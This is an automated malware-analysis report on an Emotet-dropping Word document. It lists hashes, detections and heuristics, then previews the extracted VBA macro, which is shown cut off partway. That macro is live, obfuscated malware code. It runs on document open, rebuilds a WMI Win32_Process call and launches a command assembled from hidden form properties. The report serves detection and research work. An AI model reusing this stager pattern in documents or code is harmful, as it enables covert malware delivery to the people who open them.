Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 dfdf45baa699d589…

MALICIOUS

Office (OLE)

172.5 KB Created: 2020-07-28 06:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 67d34c54f77b587df660294834bab114 SHA-1: d9e601d3454d60787e5945a5f23b37e87db71558 SHA-256: dfdf45baa699d5899f874c9bbbdf31abdb339d7e11beeed08c6091c6168b925c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting the Emotet family. Critical heuristics indicate the use of a hidden UserForm and a VBA command stager within the Document_Open macro, designed to execute code. This mechanism is typical for Emotet to download and execute further malicious payloads.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4499 bytes
SHA-256: 79a4fa9139584b561f2ef657470ba46adc47a966068df43eb097693e6015af9c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "feulgozgointhich"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
labvichdioy.cezmiok
End Sub


Attribute VB_Name = "labvichdioy"
Attribute VB_Base = "0{980D0C92-A1A5-4DDE-8BE0-EDB7E18E9FA1}{94CEAC23-AF7F-4D10-BC81-E04250A06831}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function cezmiok()
zevpiaquyiey = Chr(labvichdioy.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
lidchouch = "xeejxiacquoch"
Loop
giapgeekreuhquouw = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + zevpiaquyiey + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + labvichdioy.gegbeadtaoqu + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
banfapdoendaet = "kaocviehxulxouc"
Loop
xikyooctir = laespiar(giapgeekreuhquouw)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
toivweighoeptais = "wautduamwoar"
Loop
Set siovhoyquoek = CreateObject(xikyooctir)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
wiajzos = labvichdioy.cheuchruutviep.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
thuulboolcaix = "foitreuwrax"
Loop
coupmoejdod = NN + (xikyooctir + zevpiaquyiey) + labvichdioy.moirluwhaeh.ControlTipText + wiajzos
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
heomjoath = coupmoejdod + labvichdioy.gegbeadtaoqu
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
cheickaihsauh = "choadziencubzuur"
Loop
Set rechsiewgios = muunjeequwaqu(heomjoath)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
requsauthlauqu = "paovceepdeuw"
Loop
uiii = Array("BNSBSBBSSS", siovhoyquoek. _
Create(cuudzouzkos, tipkaonsoekrav, rechsiewgios), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function muunjeequwaqu(waevmuusdouwtheir)
Set muunjeequwaqu = CreateObject(waevmuusdouwtheir)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
meimcoezwiavhean = "tuthhiothrooh"
Loop
muunjeequwaqu.showwindow = (cheathliggoaw + cauchkeopxeox) + (kaokbaojmiok + foochzizxuf)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function laespiar(choegbukchail)
cuchkaewvam = choegbukchail
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
chuujhautruazxiar = "sionnaegvok"
Loop
jeiwdec = Split _
(cuchkaewvam, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
moigquoel = "laethgeith"
Loop
heumyefcaus = kooooo + Join(jeiwdec, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY = InStr("WnuNksorVHT", "sorVHT")
laespiar = heumyefcaus
Dim GaWZEpC As Integer
GaWZEpC = 4
Do While GaWZEpC < 4 + 4
GaWZEpC = GaWZEpC + 5: DoEvents
bomnoiquseuqu = "feacnixziech"
Loop
End Function
Function cuud
... (truncated)

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